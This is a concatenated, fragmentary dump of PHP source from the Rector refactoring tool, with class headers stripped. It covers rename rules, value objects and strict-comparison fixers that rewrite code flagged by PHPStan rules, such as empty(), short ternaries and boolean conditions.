$renamedProperty->getOldProperty(); if (!$this->isName($propertyFetch, $oldProperty)) { continue; } if (!$this->isObjectType($propertyFetch->var, $renamedProperty->getObjectType())) { continue; } $propertyFetch->name = new Identifier($renamedProperty->getNewProperty()); return $propertyFetch; } return null; } } > */ public function getNodeTypes() : array { return [StaticCall::class]; } /** * @param StaticCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->staticMethodRenames as $staticMethodRename) { if (!$this->isName($node->name, $staticMethodRename->getOldMethod())) { continue; } if (!$this->isObjectType($node->class, $staticMethodRename->getOldObjectType())) { continue; } return $this->rename($node, $staticMethodRename); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, RenameStaticMethod::class); $this->staticMethodRenames = $configuration; } private function rename(StaticCall $staticCall, RenameStaticMethod $renameStaticMethod) : StaticCall { $staticCall->name = new Identifier($renameStaticMethod->getNewMethod()); if ($renameStaticMethod->hasClassChanged()) { $staticCall->class = new FullyQualified($renameStaticMethod->getNewClass()); } return $staticCall; } } */ private $stringChanges = []; public function __construct(ValueResolver $valueResolver) { $this->valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change string value', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { return 'ROLE_PREVIOUS_ADMIN'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { return 'IS_IMPERSONATOR'; } } CODE_SAMPLE , ['ROLE_PREVIOUS_ADMIN' => 'IS_IMPERSONATOR'])]); } /** * @return array> */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { foreach ($this->stringChanges as $oldValue => $newValue) { if (!$this->valueResolver->isValue($node, $oldValue)) { continue; } return new String_($newValue); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allString(\array_keys($configuration)); Assert::allString($configuration); $this->stringChanges = $configuration; } } class = $class; $this->oldMethod = $oldMethod; $this->newMethod = $newMethod; RectorAssert::className($class); RectorAssert::methodName($oldMethod); RectorAssert::methodName($newMethod); } public function getClass() : string { return $this->class; } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getOldMethod() : string { return $this->oldMethod; } public function getNewMethod() : string { return $this->newMethod; } } class = $class; $this->oldMethod = $oldMethod; $this->newMethod = $newMethod; $this->arrayKey = $arrayKey; RectorAssert::className($class); RectorAssert::methodName($oldMethod); RectorAssert::methodName($newMethod); } public function getClass() : string { return $this->class; } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getOldMethod() : string { return $this->oldMethod; } public function getNewMethod() : string { return $this->newMethod; } /** * @return mixed */ public function getArrayKey() { return $this->arrayKey; } } oldAnnotation = $oldAnnotation; $this->newAnnotation = $newAnnotation; } public function getOldAnnotation() : string { return $this->oldAnnotation; } public function getNewAnnotation() : string { return $this->newAnnotation; } } type = $type; $this->oldAnnotation = $oldAnnotation; $this->newAnnotation = $newAnnotation; RectorAssert::className($type); } public function getObjectType() : ObjectType { return new ObjectType($this->type); } public function getOldAnnotation() : string { return $this->oldAnnotation; } public function getNewAnnotation() : string { return $this->newAnnotation; } } oldAttribute = $oldAttribute; $this->newAttribute = $newAttribute; } public function getOldAttribute() : string { return $this->oldAttribute; } public function getNewAttribute() : string { return $this->newAttribute; } } oldClass = $oldClass; $this->oldConstant = $oldConstant; $this->newClass = $newClass; $this->newConstant = $newConstant; RectorAssert::className($oldClass); RectorAssert::constantName($oldConstant); RectorAssert::className($newClass); RectorAssert::constantName($newConstant); } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldClass); } public function getOldConstant() : string { return $this->oldConstant; } public function getNewConstant() : string { return $this->newConstant; } public function getNewClass() : string { return $this->newClass; } } oldClass = $oldClass; $this->oldConstant = $oldConstant; $this->newConstant = $newConstant; RectorAssert::className($oldClass); RectorAssert::constantName($oldConstant); RectorAssert::constantName($newConstant); } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldClass); } public function getOldConstant() : string { return $this->oldConstant; } public function getNewConstant() : string { return $this->newConstant; } } |string * @readonly */ private $callLikePosition; /** * @var int<0, max> * @readonly */ private $functionLikePosition; /** * @readonly * @var string */ private $newParamName; /** * @param int<0, max>|string $callLikePosition * @param int<0, max> $functionLikePosition */ public function __construct(string $className, string $methodName, $callLikePosition, int $functionLikePosition, string $newParamName) { $this->className = $className; $this->methodName = $methodName; $this->callLikePosition = $callLikePosition; $this->functionLikePosition = $functionLikePosition; $this->newParamName = $newParamName; RectorAssert::className($className); } public function getObjectType() : ObjectType { return new ObjectType($this->className); } public function getMethodName() : string { return $this->methodName; } /** * @return int<0, max>|string */ public function getCallLikePosition() { return $this->callLikePosition; } /** * @return int<0, max> */ public function getFunctionLikePosition() : int { return $this->functionLikePosition; } public function getNewParamName() : string { return $this->newParamName; } } type = $type; $this->oldProperty = $oldProperty; $this->newProperty = $newProperty; RectorAssert::className($type); RectorAssert::propertyName($oldProperty); RectorAssert::propertyName($newProperty); } public function getObjectType() : ObjectType { return new ObjectType($this->type); } public function getOldProperty() : string { return $this->oldProperty; } public function getNewProperty() : string { return $this->newProperty; } } oldClass = $oldClass; $this->oldMethod = $oldMethod; $this->newClass = $newClass; $this->newMethod = $newMethod; RectorAssert::className($oldClass); RectorAssert::methodName($oldMethod); RectorAssert::className($newClass); RectorAssert::methodName($newMethod); } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldClass); } public function getOldMethod() : string { return $this->oldMethod; } public function getNewClass() : string { return $this->newClass; } public function getNewMethod() : string { return $this->newMethod; } public function hasClassChanged() : bool { return $this->oldClass !== $this->newClass; } } astResolver = $astResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->constructorAssignDetector = $constructorAssignDetector; $this->nodeNameResolver = $nodeNameResolver; } public function isUnitialized(Expr $expr) : bool { if (!$expr instanceof PropertyFetch && !$expr instanceof StaticPropertyFetch) { return \false; } $varType = $expr instanceof PropertyFetch ? $this->nodeTypeResolver->getType($expr->var) : $this->nodeTypeResolver->getType($expr->class); if ($varType instanceof ThisType) { $varType = $varType->getStaticObjectType(); } if (!$varType instanceof TypeWithClassName) { return \false; } $className = $varType->getClassName(); $classLike = $this->astResolver->resolveClassFromName($className); if (!$classLike instanceof ClassLike) { return \false; } $propertyName = (string) $this->nodeNameResolver->getName($expr); $property = $classLike->getProperty($propertyName); if (!$property instanceof Property) { return \false; } if (\count($property->props) !== 1) { return \false; } if ($property->props[0]->default instanceof Expr) { return \false; } return !$this->constructorAssignDetector->isPropertyAssigned($classLike, $propertyName); } } nodeFactory = $nodeFactory; } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BinaryOp\BooleanOr|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BooleanNot|\PhpParser\Node\Expr\Instanceof_|\PhpParser\Node\Expr\BinaryOp\BooleanAnd|null|\PhpParser\Node\Expr\FuncCall */ public function createIdenticalFalsyCompare(Type $exprType, Expr $expr, bool $treatAsNonEmpty, bool $isOnlyString = \true) { $result = null; if ($exprType->isString()->yes()) { if ($treatAsNonEmpty || !$isOnlyString) { return new Identical($expr, new String_('')); } $result = new BooleanOr(new Identical($expr, new String_('')), new Identical($expr, new String_('0'))); } elseif ($exprType->isInteger()->yes()) { return new Identical($expr, new LNumber(0)); } elseif ($exprType->isBoolean()->yes()) { return new Identical($expr, $this->nodeFactory->createFalse()); } elseif ($exprType->isArray()->yes()) { return new Identical($expr, new Array_([])); } elseif ($exprType instanceof NullType) { return new Identical($expr, $this->nodeFactory->createNull()); } elseif (!$exprType instanceof UnionType) { return null; } else { $result = $this->createTruthyFromUnionType($exprType, $expr, $treatAsNonEmpty, \false); } if ($result instanceof BooleanOr && $expr instanceof CallLike && $result->left instanceof Identical && $result->right instanceof Identical) { return new FuncCall(new Name('in_array'), [new Arg($expr), new Arg(new Array_([new ArrayItem($result->left->right), new ArrayItem($result->right->right)])), new Arg(new ConstFetch(new Name('true')))]); } return $result; } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\Instanceof_|\PhpParser\Node\Expr\BinaryOp\BooleanOr|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BooleanNot|null */ public function createNotIdenticalFalsyCompare(Type $exprType, Expr $expr, bool $treatAsNotEmpty, bool $isOnlyString = \true) { $result = null; if ($exprType->isString()->yes()) { if ($treatAsNotEmpty || !$isOnlyString) { return new NotIdentical($expr, new String_('')); } $result = new BooleanAnd(new NotIdentical($expr, new String_('')), new NotIdentical($expr, new String_('0'))); } elseif ($exprType->isInteger()->yes()) { return new NotIdentical($expr, new LNumber(0)); } elseif ($exprType->isArray()->yes()) { return new NotIdentical($expr, new Array_([])); } elseif (!$exprType instanceof UnionType) { return null; } else { $result = $this->createFromUnionType($exprType, $expr, $treatAsNotEmpty, \false); } if ($result instanceof BooleanAnd && $expr instanceof CallLike && $result->left instanceof NotIdentical && $result->right instanceof NotIdentical) { return new BooleanNot(new FuncCall(new Name('in_array'), [new Arg($expr), new Arg(new Array_([new ArrayItem($result->left->right), new ArrayItem($result->right->right)])), new Arg(new ConstFetch(new Name('true')))])); } return $result; } /** * @return \PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\Instanceof_|\PhpParser\Node\Expr\BinaryOp\BooleanAnd|null */ private function createFromUnionType(UnionType $unionType, Expr $expr, bool $treatAsNotEmpty, bool $isOnlyString) { $unionType = TypeCombinator::removeNull($unionType); if ($unionType->isBoolean()->yes()) { return new Identical($expr, $this->nodeFactory->createTrue()); } if ($unionType instanceof TypeWithClassName) { return new Instanceof_($expr, new FullyQualified($unionType->getClassName())); } $nullConstFetch = $this->nodeFactory->createNull(); $toNullNotIdentical = new NotIdentical($expr, $nullConstFetch); if ($unionType instanceof UnionType) { return $this->resolveFromCleanedNullUnionType($unionType, $expr, $treatAsNotEmpty); } $compareExpr = $this->createNotIdenticalFalsyCompare($unionType, $expr, $treatAsNotEmpty, $isOnlyString); if (!$compareExpr instanceof Expr) { return null; } if ($treatAsNotEmpty) { return new BooleanAnd($toNullNotIdentical, $compareExpr); } if ($unionType->isString()->yes()) { $booleanAnd = new BooleanAnd($toNullNotIdentical, $compareExpr); return new BooleanAnd($booleanAnd, new NotIdentical($expr, new String_('0'))); } return new BooleanAnd($toNullNotIdentical, $compareExpr); } private function resolveFromCleanedNullUnionType(UnionType $unionType, Expr $expr, bool $treatAsNotEmpty) : ?BooleanAnd { $compareExprs = $this->collectCompareExprs($unionType, $expr, $treatAsNotEmpty, \false); return $this->createBooleanAnd($compareExprs); } /** * @return array */ private function collectCompareExprs(UnionType $unionType, Expr $expr, bool $treatAsNonEmpty, bool $identical = \true) : array { $compareExprs = []; foreach ($unionType->getTypes() as $unionedType) { $compareExprs[] = $identical ? $this->createIdenticalFalsyCompare($unionedType, $expr, $treatAsNonEmpty) : $this->createNotIdenticalFalsyCompare($unionedType, $expr, $treatAsNonEmpty); } return \array_unique($compareExprs, \SORT_REGULAR); } private function cleanUpPossibleNullableUnionType(UnionType $unionType) : Type { return \count($unionType->getTypes()) === 2 ? TypeCombinator::removeNull($unionType) : $unionType; } /** * @param array $compareExprs */ private function createBooleanOr(array $compareExprs) : ?BooleanOr { $truthyExpr = \array_shift($compareExprs); foreach ($compareExprs as $compareExpr) { if (!$compareExpr instanceof Expr) { return null; } if (!$truthyExpr instanceof Expr) { return null; } $truthyExpr = new BooleanOr($truthyExpr, $compareExpr); } /** @var BooleanOr $truthyExpr */ return $truthyExpr; } /** * @param array $compareExprs */ private function createBooleanAnd(array $compareExprs) : ?BooleanAnd { $truthyExpr = \array_shift($compareExprs); foreach ($compareExprs as $compareExpr) { if (!$compareExpr instanceof Expr) { return null; } if (!$truthyExpr instanceof Expr) { return null; } $truthyExpr = new BooleanAnd($truthyExpr, $compareExpr); } /** @var BooleanAnd $truthyExpr */ return $truthyExpr; } /** * @return \PhpParser\Node\Expr\BinaryOp\BooleanOr|\PhpParser\Node\Expr\BinaryOp\NotIdentical|\PhpParser\Node\Expr\BinaryOp\Identical|\PhpParser\Node\Expr\BooleanNot|null */ private function createTruthyFromUnionType(UnionType $unionType, Expr $expr, bool $treatAsNonEmpty, bool $isOnlyString) { $unionType = $this->cleanUpPossibleNullableUnionType($unionType); if ($unionType instanceof UnionType) { $compareExprs = $this->collectCompareExprs($unionType, $expr, $treatAsNonEmpty); return $this->createBooleanOr($compareExprs); } if ($unionType->isBoolean()->yes()) { return new NotIdentical($expr, $this->nodeFactory->createTrue()); } if ($unionType instanceof TypeWithClassName) { return new BooleanNot(new Instanceof_($expr, new FullyQualified($unionType->getClassName()))); } $toNullIdentical = new Identical($expr, $this->nodeFactory->createNull()); if ($treatAsNonEmpty) { return $toNullIdentical; } // assume we have to check empty string, integer and bools $scalarFalsyIdentical = $this->createIdenticalFalsyCompare($unionType, $expr, $treatAsNonEmpty, $isOnlyString); if (!$scalarFalsyIdentical instanceof Expr) { return null; } if ($unionType->isString()->yes()) { $booleanOr = new BooleanOr($toNullIdentical, $scalarFalsyIdentical); return new BooleanOr($booleanOr, new Identical($expr, new String_('0'))); } return new BooleanOr($toNullIdentical, $scalarFalsyIdentical); } } treatAsNonEmpty = $treatAsNonEmpty; } } exactCompareFactory = $exactCompareFactory; } public function getRuleDefinition() : RuleDefinition { $errorMessage = \sprintf('Fixer for PHPStan reports by strict type rule - "%s"', 'PHPStan\\Rules\\BooleansInConditions\\BooleanInBooleanNotRule'); return new RuleDefinition($errorMessage, [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(string|null $name) { if (! $name) { return 'no name'; } return 'name'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(string|null $name) { if ($name === null) { return 'no name'; } return 'name'; } } CODE_SAMPLE , [self::TREAT_AS_NON_EMPTY => \true])]); } /** * @return array> */ public function getNodeTypes() : array { return [BooleanNot::class]; } /** * @param BooleanNot $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Expr { $exprType = $scope->getNativeType($node->expr); if ($exprType->isBoolean()->yes()) { return null; } return $this->exactCompareFactory->createIdenticalFalsyCompare($exprType, $node->expr, $this->treatAsNonEmpty); } } exactCompareFactory = $exactCompareFactory; $this->exprAnalyzer = $exprAnalyzer; $this->unitializedPropertyAnalyzer = $unitializedPropertyAnalyzer; } public function getRuleDefinition() : RuleDefinition { $errorMessage = \sprintf('Fixer for PHPStan reports by strict type rule - "%s"', 'PHPStan\\Rules\\DisallowedConstructs\\DisallowedEmptyRule'); return new RuleDefinition($errorMessage, [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class SomeEmptyArray { public function run(array $items) { return empty($items); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeEmptyArray { public function run(array $items) { return $items === []; } } CODE_SAMPLE , [self::TREAT_AS_NON_EMPTY => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [Empty_::class, BooleanNot::class]; } /** * @param Empty_|BooleanNot $node */ public function refactorWithScope(Node $node, Scope $scope) : ?\PhpParser\Node\Expr { if ($node instanceof BooleanNot) { return $this->refactorBooleanNot($node, $scope); } if ($node->expr instanceof ArrayDimFetch) { return null; } return $this->refactorEmpty($node, $scope, $this->treatAsNonEmpty); } private function refactorBooleanNot(BooleanNot $booleanNot, Scope $scope) : ?\PhpParser\Node\Expr { if (!$booleanNot->expr instanceof Empty_) { return null; } $empty = $booleanNot->expr; if ($empty->expr instanceof ArrayDimFetch) { return $this->createDimFetchBooleanAnd($empty->expr); } if ($this->exprAnalyzer->isNonTypedFromParam($empty->expr)) { return null; } $emptyExprType = $scope->getNativeType($empty->expr); $result = $this->exactCompareFactory->createNotIdenticalFalsyCompare($emptyExprType, $empty->expr, $this->treatAsNonEmpty); if (!$result instanceof Expr) { return null; } if ($this->unitializedPropertyAnalyzer->isUnitialized($empty->expr)) { return new BooleanAnd(new Isset_([$empty->expr]), $result); } return $result; } private function refactorEmpty(Empty_ $empty, Scope $scope, bool $treatAsNonEmpty) : ?\PhpParser\Node\Expr { if ($this->exprAnalyzer->isNonTypedFromParam($empty->expr)) { return null; } $exprType = $scope->getNativeType($empty->expr); $result = $this->exactCompareFactory->createIdenticalFalsyCompare($exprType, $empty->expr, $treatAsNonEmpty); if (!$result instanceof Expr) { return null; } if ($this->unitializedPropertyAnalyzer->isUnitialized($empty->expr)) { return new BooleanOr(new BooleanNot(new Isset_([$empty->expr])), $result); } return $result; } private function createDimFetchBooleanAnd(ArrayDimFetch $arrayDimFetch) : ?BooleanAnd { $exprType = $this->nodeTypeResolver->getNativeType($arrayDimFetch); $isset = new Isset_([$arrayDimFetch]); $compareExpr = $this->exactCompareFactory->createNotIdenticalFalsyCompare($exprType, $arrayDimFetch, \false); if (!$compareExpr instanceof Expr) { return null; } return new BooleanAnd($isset, $compareExpr); } } exactCompareFactory = $exactCompareFactory; } public function getRuleDefinition() : RuleDefinition { $errorMessage = \sprintf('Fixer for PHPStan reports by strict type rule - "%s"', 'PHPStan\\Rules\\BooleansInConditions\\BooleanInIfConditionRule'); return new RuleDefinition($errorMessage, [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class NegatedString { public function run(string $name) { if ($name) { return 'name'; } return 'no name'; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class NegatedString { public function run(string $name) { if ($name !== '') { return 'name'; } return 'no name'; } } CODE_SAMPLE , [self::TREAT_AS_NON_EMPTY => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?If_ { $hasChanged = \false; // 1. if $ifCondExprType = $scope->getNativeType($node->cond); $notIdentical = $this->exactCompareFactory->createNotIdenticalFalsyCompare($ifCondExprType, $node->cond, $this->treatAsNonEmpty); if ($notIdentical !== null) { $node->cond = $notIdentical; $hasChanged = \true; } // 2. elseifs foreach ($node->elseifs as $elseif) { $elseifCondExprType = $scope->getNativeType($elseif->cond); $notIdentical = $this->exactCompareFactory->createNotIdenticalFalsyCompare($elseifCondExprType, $elseif->cond, $this->treatAsNonEmpty); if (!$notIdentical instanceof Expr) { continue; } $elseif->cond = $notIdentical; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } } exactCompareFactory = $exactCompareFactory; } public function getRuleDefinition() : RuleDefinition { $errorMessage = \sprintf('Fixer for PHPStan reports by strict type rule - "%s"', 'PHPStan\\Rules\\BooleansInConditions\\BooleanInTernaryOperatorRule'); return new RuleDefinition($errorMessage, [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class ArrayCompare { public function run(array $data) { return $data ? 1 : 2; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class ArrayCompare { public function run(array $data) { return $data !== [] ? 1 : 2; } } CODE_SAMPLE , [self::TREAT_AS_NON_EMPTY => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Ternary { // skip short ternary if (!$node->if instanceof Expr) { return null; } $exprType = $scope->getNativeType($node->cond); $expr = $this->exactCompareFactory->createNotIdenticalFalsyCompare($exprType, $node->cond, $this->treatAsNonEmpty); if (!$expr instanceof Expr) { return null; } $node->cond = $expr; return $node; } } exactCompareFactory = $exactCompareFactory; } public function getRuleDefinition() : RuleDefinition { $errorMessage = \sprintf('Fixer for PHPStan reports by strict type rule - "%s"', 'PHPStan\\Rules\\DisallowedConstructs\\DisallowedShortTernaryRule'); return new RuleDefinition($errorMessage, [new ConfiguredCodeSample(<<<'CODE_SAMPLE' final class ShortTernaryArray { public function run(array $array) { return $array ?: 2; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class ShortTernaryArray { public function run(array $array) { return $array !== [] ? $array : 2; } } CODE_SAMPLE , [self::TREAT_AS_NON_EMPTY => \false])]); } /** * @return array> */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Ternary { $this->hasChanged = \false; // skip non-short ternary if ($node->if instanceof Expr) { return null; } // special case for reset() function if ($node->cond instanceof FuncCall && $this->isName($node->cond, 'reset')) { $this->refactorResetFuncCall($node, $node->cond, $scope); if (!$this->hasChanged) { return null; } return $node; } $exprType = $scope->getNativeType($node->cond); $compareExpr = $this->exactCompareFactory->createNotIdenticalFalsyCompare($exprType, $node->cond, $this->treatAsNonEmpty); if (!$compareExpr instanceof Expr) { return null; } $node->if = $node->cond; $node->cond = $compareExpr; return $node; } private function refactorResetFuncCall(Ternary $ternary, FuncCall $resetFuncCall, Scope $scope) : void { $ternary->if = $ternary->cond; if ($resetFuncCall->isFirstClassCallable()) { return; } $firstArgValue = $resetFuncCall->getArgs()[0]->value; $firstArgType = $scope->getNativeType($firstArgValue); $falsyCompareExpr = $this->exactCompareFactory->createNotIdenticalFalsyCompare($firstArgType, $firstArgValue, $this->treatAsNonEmpty); if (!$falsyCompareExpr instanceof Expr) { return; } $ternary->cond = $falsyCompareExpr; $this->hasChanged = \true; } } typeProvidingExprFromClassResolver = $typeProvidingExprFromClassResolver; $this->propertyNaming = $propertyNaming; $this->nodeNameResolver = $nodeNameResolver; $this->nodeFactory = $nodeFactory; $this->propertyFetchFactory = $propertyFetchFactory; $this->classDependencyManipulator = $classDependencyManipulator; } /** * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\Variable */ public function matchTypeProvidingExpr(Class_ $class, ClassMethod $classMethod, ObjectType $objectType) { $expr = $this->typeProvidingExprFromClassResolver->resolveTypeProvidingExprFromClass($class, $classMethod, $objectType); if ($expr instanceof Expr) { if ($expr instanceof Variable) { $this->addClassMethodParamForVariable($expr, $objectType, $classMethod); } return $expr; } $propertyName = $this->propertyNaming->fqnToVariableName($objectType); $this->classDependencyManipulator->addConstructorDependency($class, new PropertyMetadata($propertyName, $objectType)); return $this->propertyFetchFactory->createFromType($objectType); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function addClassMethodParamForVariable(Variable $variable, ObjectType $objectType, $functionLike) : void { /** @var string $variableName */ $variableName = $this->nodeNameResolver->getName($variable); // add variable to __construct as dependency $functionLike->params[] = $this->nodeFactory->createParamFromNameAndType($variableName, $objectType); } } propertyNaming = $propertyNaming; } public function createFromType(ObjectType $objectType) : PropertyFetch { $thisVariable = new Variable('this'); $propertyName = $this->propertyNaming->fqnToVariableName($objectType->getClassName()); return new PropertyFetch($thisVariable, $propertyName); } } reflectionProvider = $reflectionProvider; $this->nodeNameResolver = $nodeNameResolver; $this->propertyNaming = $propertyNaming; } /** * @return MethodCall|PropertyFetch|Variable|null */ public function resolveTypeProvidingExprFromClass(Class_ $class, ClassMethod $classMethod, ObjectType $objectType) : ?Expr { $className = (string) $this->nodeNameResolver->getName($class); // A. match a method $classReflection = $this->reflectionProvider->getClass($className); $methodCallProvidingType = $this->resolveMethodCallProvidingType($classReflection, $objectType); if ($methodCallProvidingType instanceof MethodCall) { return $methodCallProvidingType; } // B. match existing property $propertyFetch = $this->resolvePropertyFetchProvidingType($classReflection, $objectType); if ($propertyFetch instanceof PropertyFetch) { return $propertyFetch; } // C. param in constructor? return $this->resolveConstructorParamProvidingType($classMethod, $objectType); } private function resolveMethodCallProvidingType(ClassReflection $classReflection, ObjectType $objectType) : ?MethodCall { $methodReflections = $this->getClassMethodReflections($classReflection); foreach ($methodReflections as $methodReflection) { $functionVariant = ParametersAcceptorSelector::combineAcceptors($methodReflection->getVariants()); $returnType = $functionVariant->getReturnType(); if (!$this->isMatchingType($returnType, $objectType)) { continue; } $thisVariable = new Variable('this'); return new MethodCall($thisVariable, $methodReflection->getName()); } return null; } private function resolvePropertyFetchProvidingType(ClassReflection $classReflection, ObjectType $objectType) : ?PropertyFetch { $nativeReflectionClass = $classReflection->getNativeReflection(); foreach ($nativeReflectionClass->getProperties() as $reflectionProperty) { /** @var PhpPropertyReflection $phpPropertyReflection */ $phpPropertyReflection = $classReflection->getNativeProperty($reflectionProperty->getName()); $readableType = $phpPropertyReflection->getReadableType(); if (!$this->isMatchingType($readableType, $objectType)) { continue; } return new PropertyFetch(new Variable('this'), $reflectionProperty->getName()); } return null; } private function resolveConstructorParamProvidingType(ClassMethod $classMethod, ObjectType $objectType) : ?Variable { if (!$this->nodeNameResolver->isName($classMethod, MethodName::CONSTRUCT)) { return null; } $variableName = $this->propertyNaming->fqnToVariableName($objectType); return new Variable($variableName); } private function isMatchingType(Type $readableType, ObjectType $objectType) : bool { if ($readableType instanceof MixedType) { return \false; } $readableType = TypeCombinator::removeNull($readableType); if (!$readableType instanceof TypeWithClassName) { return \false; } return $readableType->equals($objectType); } /** * @return MethodReflection[] */ private function getClassMethodReflections(ClassReflection $classReflection) : array { $nativeReflection = $classReflection->getNativeReflection(); $methodReflections = []; foreach ($nativeReflection->getMethods() as $reflectionMethod) { $methodReflections[] = $classReflection->getNativeMethod($reflectionMethod->getName()); } return $methodReflections; } } make('someService'); CODE_SAMPLE , [new ArrayDimFetchToMethodCall(new ObjectType('SomeClass'), 'make')])]); } public function getNodeTypes() : array { return [ArrayDimFetch::class]; } /** * @param ArrayDimFetch $node */ public function refactor(Node $node) : ?MethodCall { if (!$node->dim instanceof Node) { return null; } foreach ($this->arrayDimFetchToMethodCalls as $arrayDimFetchToMethodCall) { if (!$this->isObjectType($node->var, $arrayDimFetchToMethodCall->getObjectType())) { continue; } return new MethodCall($node->var, $arrayDimFetchToMethodCall->getMethod(), [new Arg($node->dim)]); } return null; } public function configure(array $configuration) : void { Assert::allIsInstanceOf($configuration, ArrayDimFetchToMethodCall::class); $this->arrayDimFetchToMethodCalls = $configuration; } } oldProperty = false; CODE_SAMPLE , <<<'CODE_SAMPLE' $someObject = new SomeClass; $someObject->newMethodCall(false); CODE_SAMPLE , [new PropertyAssignToMethodCall('SomeClass', 'oldProperty', 'newMethodCall')])]); } /** * @return array> */ public function getNodeTypes() : array { return [Assign::class]; } /** * @param Assign $node */ public function refactor(Node $node) : ?Node { if (!$node->var instanceof PropertyFetch) { return null; } $propertyFetchNode = $node->var; /** @var Variable $propertyNode */ $propertyNode = $propertyFetchNode->var; foreach ($this->propertyAssignsToMethodCalls as $propertyAssignToMethodCall) { if (!$this->isName($propertyFetchNode, $propertyAssignToMethodCall->getOldPropertyName())) { continue; } if (!$this->isObjectType($propertyFetchNode->var, $propertyAssignToMethodCall->getObjectType())) { continue; } return $this->nodeFactory->createMethodCall($propertyNode, $propertyAssignToMethodCall->getNewMethodName(), [$node->expr]); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, PropertyAssignToMethodCall::class); $this->propertyAssignsToMethodCalls = $configuration; } } property; $object->property = $value; $bare = $object->bareProperty; CODE_SAMPLE , <<<'CODE_SAMPLE' $result = $object->getProperty(); $object->setProperty($value); $bare = $object->getConfig('someArg'); CODE_SAMPLE , [new PropertyFetchToMethodCall('SomeObject', 'property', 'getProperty', 'setProperty'), new PropertyFetchToMethodCall('SomeObject', 'bareProperty', 'getConfig', null, ['someArg'])])]); } /** * @return array> */ public function getNodeTypes() : array { return [Assign::class, PropertyFetch::class]; } /** * @param PropertyFetch|Assign $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Assign && $node->var instanceof PropertyFetch) { return $this->processSetter($node); } if ($node instanceof PropertyFetch) { return $this->processGetter($node); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, PropertyFetchToMethodCall::class); $this->propertiesToMethodCalls = $configuration; } private function processSetter(Assign $assign) : ?Node { /** @var PropertyFetch $propertyFetchNode */ $propertyFetchNode = $assign->var; $propertyToMethodCall = $this->matchPropertyFetchCandidate($propertyFetchNode); if (!$propertyToMethodCall instanceof PropertyFetchToMethodCall) { return null; } if ($propertyToMethodCall->getNewSetMethod() === null) { throw new ShouldNotHappenException(); } $args = $this->nodeFactory->createArgs([$assign->expr]); /** @var Variable $variable */ $variable = $propertyFetchNode->var; return $this->nodeFactory->createMethodCall($variable, $propertyToMethodCall->getNewSetMethod(), $args); } private function processGetter(PropertyFetch $propertyFetch) : ?Node { $propertyFetchToMethodCall = $this->matchPropertyFetchCandidate($propertyFetch); if (!$propertyFetchToMethodCall instanceof PropertyFetchToMethodCall) { return null; } // simple method name if ($propertyFetchToMethodCall->getNewGetMethod() !== '') { $methodCall = $this->nodeFactory->createMethodCall($propertyFetch->var, $propertyFetchToMethodCall->getNewGetMethod()); if ($propertyFetchToMethodCall->getNewGetArguments() !== []) { $methodCall->args = $this->nodeFactory->createArgs($propertyFetchToMethodCall->getNewGetArguments()); } return $methodCall; } return $propertyFetch; } private function matchPropertyFetchCandidate(PropertyFetch $propertyFetch) : ?PropertyFetchToMethodCall { foreach ($this->propertiesToMethodCalls as $propertyToMethodCall) { if (!$this->isName($propertyFetch, $propertyToMethodCall->getOldProperty())) { continue; } if (!$this->isObjectType($propertyFetch->var, $propertyToMethodCall->getOldObjectType())) { continue; } return $propertyToMethodCall; } return null; } } valueResolver = $valueResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replace key value on specific attribute to class constant', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' use Doctrine\ORM\Mapping\Column; class SomeClass { #[Column(type: "string")] public $name; } CODE_SAMPLE , <<<'CODE_SAMPLE' use Doctrine\ORM\Mapping\Column; use Doctrine\DBAL\Types\Types; class SomeClass { #[Column(type: Types::STRING)] public $name; } CODE_SAMPLE , [new 